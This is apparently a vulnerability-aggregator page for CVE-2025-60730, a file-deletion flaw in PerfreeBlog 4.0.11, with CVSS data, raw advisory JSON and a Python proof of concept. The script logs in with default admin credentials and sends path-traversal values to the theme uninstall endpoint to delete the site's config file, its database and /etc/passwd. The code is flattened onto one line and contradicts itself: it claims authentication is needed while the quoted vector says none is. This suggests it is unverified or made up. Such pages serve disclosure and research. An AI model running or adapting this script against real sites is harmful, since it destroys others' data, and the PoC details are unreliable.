Security Vulnerability Report
中文
CVE-2025-60730 CVSS 7.6 HIGH

CVE-2025-60730

Published: 2025-10-24 18:15:41
Last Modified: 2025-10-27 17:49:47

Description

PerfreeBlog v4.0.11 has an arbitrary file deletion vulnerability in the unInstallTheme function

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:perfree:perfreeblog:4.0.11:*:*:*:*:*:*:* - VULNERABLE
PerfreeBlog < 4.0.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-60730 PoC - PerfreeBlog Arbitrary File Deletion # Target: PerfreeBlog v4.0.11 # Vulnerability: unInstallTheme function allows arbitrary file deletion TARGET_URL = "http://target.com" LOGIN_URL = f"{TARGET_URL}/admin/login" THEME_MANAGE_URL = f"{TARGET_URL}/admin/theme" UNINSTALL_URL = f"{TARGET_URL}/admin/theme/unInstall" session = requests.Session() # Step 1: Login to admin panel login_data = { "username": "admin", "password": "admin123" } response = session.post(LOGIN_URL, data=login_data) # Step 2: Get theme list and identify target theme response = session.get(THEME_MANAGE_URL) # Step 3: Exploit - Delete arbitrary file via path traversal # Delete config file or other critical files malicious_paths = [ "../../../config/application.yml", "../../../data/perfree.db", "../../../../etc/passwd" ] for path in malicious_paths: exploit_data = { "themeName": "malicious_theme", "filePath": path } response = session.post(UNINSTALL_URL, data=exploit_data) print(f"[*] Attempting to delete: {path}") print(f"[*] Response: {response.status_code}") # Note: This PoC requires authentication and user interaction (UI:R) # CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60730", "sourceIdentifier": "[email protected]", "published": "2025-10-24T18:15:40.930", "lastModified": "2025-10-27T17:49:47.320", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PerfreeBlog v4.0.11 has an arbitrary file deletion vulnerability in the unInstallTheme function"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-459"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:perfree:perfreeblog:4.0.11:*:*:*:*:*:*:*", "matchCriteriaId": "56788914-09FF-444D-B30C-0613B758089B"}]}]}], "references": [{"url": "http://perfreeblog.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/dengxmenglihua/cve/blob/main/PerfreeBlog/File%20Deletion/Arbitrary%20File%20Deletion%20Vulnerability%20in%20PerfreeBlog%20System.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://perfree.org.cn/", "source": "[email protected]", "tags": ["Product"]}]}}